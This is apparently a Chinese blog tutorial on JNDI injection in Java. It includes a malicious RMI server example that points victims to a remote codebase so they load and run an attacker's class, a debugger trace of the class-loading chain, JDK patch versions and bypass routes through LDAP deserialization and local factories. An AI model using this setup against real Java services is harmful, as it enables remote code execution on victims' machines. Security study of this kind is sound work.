您现在的位置是:首页 > 正文

JNDI注入

2024-02-01 03:30:12阅读 2

JNDI注入

简介

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

具体可参考官方文档,这里不在多叙述

JNDI+RMI利用

JNDI+RMI在JDK8u121之前可利用,而JNDI+LDAP在JDK8u191之前可以,因两者利用流程相似,故这里只分析JNDI-RMI

服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(1080);
        Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8000/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
        System.out.println("start");
    }
}

然后将恶意类Test.class放到服务器上,我这里使用python本地起了一个http服务

image-20221115171143303

然后客户端发起lookup请求

image-20221115171311292

触发恶意代码,弹出计算器

image-20221115171344600

流程分析

在客户端调用的lookup方法打断点进行调试

image-20221115171434480

首先会调用InitialContext#lookup()方法,这里会根据协议头调用不同的lookup()方法

image-20221115171459482

getURLOrDefaultInitCtx函数会分析name的协议头返回对象协议的环境对象,这里会返回rmiURLContext

image-20221115171738652

接着会调用rmiURLContext的父类GenericURLContext中的的lookup方法,此方法最终会调用JNDI中处理rmi的RegistryContext中的lookup方法

image-20221115172818002

接着跟进,会发现其调用了RegistryImpl_Stub的lookup方法,即调用了原生RMI的lookup接口,那么对rmi的攻击方法-反序列化,在这里也可以使用

image-20221115173942334

很明显JNDI注入不会仅仅如此,我们接着往下看,this.registry.lookup()会返回一个ReferenceWrapper_stub()对象,这个对象显然就是我们服务端绑定的ReferenceWrapper,而它是经过编码的

image-20221115174928046

接着调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject()进行解码,会进入NamingManager.getObjectInstance方法,此方法为静态方法,且位于一个公共的类javax.naming.spi.NamingManager,目前为止,我们的恶意类还并没有被加载,但已经走出了JNDI对rmi处理的RegistryContext类,借此可绕过后续官方对jndi-rmi的修复

image-20221115175925355

而在此方法中,调用了getObjectFactoryFromReference()方法,去获取对象工厂

image-20221115180029034

我们跟进去看一下,其首先会尝试在本地进行一个类加载

image-20221115181635119

这个loadClass使用的是APPClassLoader,显然它是加载不到的

image-20221115181934239

接着往下走,如果前面没有加载到,这里就会尝试从远程地址(codebase)进行类加载

image-20221115182142488

这里会实例化一个URLClassLoader从指定的url中去进行类加载

image-20221115182501019

这是一个进行初始化的类加载,那么静态代码块static中的代码将会被执行

image-20221115182832536

继续往下走,会实例化获取到的远程对象,此时类中的构造方法会被执行

image-20221116122201306

上面两处均可触发我们构造的恶意代码

版本修复

  1. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,修复了JNDI中RMI引用类远程加载,但存在别的利用方式

  2. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true,修复了JNDI中RMI动态类加载

  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false,修复了JNDI中LDAP的引用类远程加载

高版本绕过(待补充)

那么在JAVA高版本默认禁止引用类远程加载之后,JNDI注入还能如何利用呢?

既然不能远程加载恶意类,那我们可以尝试利用其本地的环境,这里还有两种利用方式,都非常依赖受害者本地中的环境,需要利用受害者本地的Gadget进行攻击:

  • 反序列化
  • 本地工厂类

反序列化

利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。利用限制就是需要本地有反序列化

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

本地工厂类

既然在高版本中不能冲远程加载恶意工厂类,那我们可以尝试加载目标本地的恶意工厂类,但是这个恶意工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

网站文章

  • ES6学习——set map数据结构 、 DOM classlist属性、创建对象 、Symbol应用

    ES6学习——set map数据结构 、 DOM classlist属性、创建对象 、Symbol应用

    对象方法就是把对象中的属性,用匿名函数的形式编程方法(之前就有)。

    2024-02-01 03:30:07
  • 如何在SQLServer中处理每天四亿三千万记录的(数据库大数据处理)

    项目背景这是给某数据中心做的一个项目,项目难度之大令人发指,这个项目真正的让我感觉到了,商场如战场,而我只是其中的一个小兵,太多的战术,太多的高层之间的较量,太多的内幕了。具体这个项目的情况,我有空再写相关的博文出来。这个项目是要求做环境监控,我们暂且把受监控的设备称为采集设备,采集设备的属性称为监控指标。项目要求:系统支持不少于10w个监控指标,每个监控指标的数据更新不大于20秒,存储延迟...

    2024-02-01 03:30:00
  • 《软件开发的201个原则》

    《软件开发的201个原则》

    作为一名从事软件开发工作的读者,深刻体会到《软件开发原则》书中的系列原则,在我开发过程中处处可见。如果遵循这些原则,那么对你的开发是十分有效的。在项目开发过程格遵守开发流程,让一切异常都有迹可循,有法可解,工作效率显著提示。

    2024-02-01 03:29:28
  • ThreadLocal 详解

    ThreadLocal 详解

    如果key使用强引用:业务代码中使用完ThreadLocal ,ThreadLocal Ref被回收了,因为ThreadLocalMap的Entry强引用了threadLocal,造成threadLo...

    2024-02-01 03:29:20
  • 【unlink】 zctf2016_note2

    【unlink】 zctf2016_note2

    【unlink】 zctf2016_note2 1.ida分析 堆溢出,unsigned int用于判断条件,导致的堆溢出 指针数组 2.思路 创建3个chunk,chunk0、chunk1、chun...

    2024-02-01 03:29:12
  • android Preference之android:dependency

    android Preference之android:dependency

    在开发软件设置界面的时候,我们可以采用android系统提供的PreferenceActivity来实现,下面给出一个简单的例子: 1、Activity 代码如下: public class ConfigActivity extends PreferenceActivity { @Override public void onCreate(Bundle save...

    2024-02-01 03:29:05
  • 衡水科技工程学校计算机房照片,衡水科技工程学校数字化校园建设经验

    衡水科技工程学校计算机房照片,衡水科技工程学校数字化校园建设经验

    S cie n ce&Te hc no l o y Vgis i o n科 技视 P.-科技探索 争鸣衡水科技工学程校字化校数园建设经验广彦杜衡(水科技程工校学。河北衡水 0 5 30 0 0)摘【要】根据校学发的展划和各规业专的特,色通“过四一个”实现了数来字化建校设,一张网:校网、一个平园台:数校园平字、台一个库:教学资源、一库制套度:各网项化络管理制度。建在过设中我校程探索出条...

    2024-02-01 03:28:35
  • 【编程实践】:Java基础+MarkDown文件解析器

    个人博客系统正在开发中。。。欢迎路过的java新手一起交流。。。欢迎大佬指正。。。本文主要描述文章发布过程中MarkDown文件的解析过程。MarkDown文件有以下语法说明语法格式标题标题采用#+#...

    2024-02-01 03:28:26
  • js总结篇之—ajax (看完你就学会整个js)

    1.AJAX技术 *ajax是浏览器提供的一系列api,可供javascript调用,实现代码控制请求与相应,实现网络2编程 2.快速上手 let xhr = new XMLHttpRequest()...

    2024-02-01 03:28:19
  • c#:使用网易邮箱账号发送电子邮件

    c#:使用网易邮箱账号发送电子邮件

    环境: window10 vs2019 16.5.5 .netcore 3.1 .netframework 4.5 控制台程序 一、准备网易邮箱账号 1.1 注册账户 1.2 开启smtp服务 二、编...

    2024-02-01 03:27:49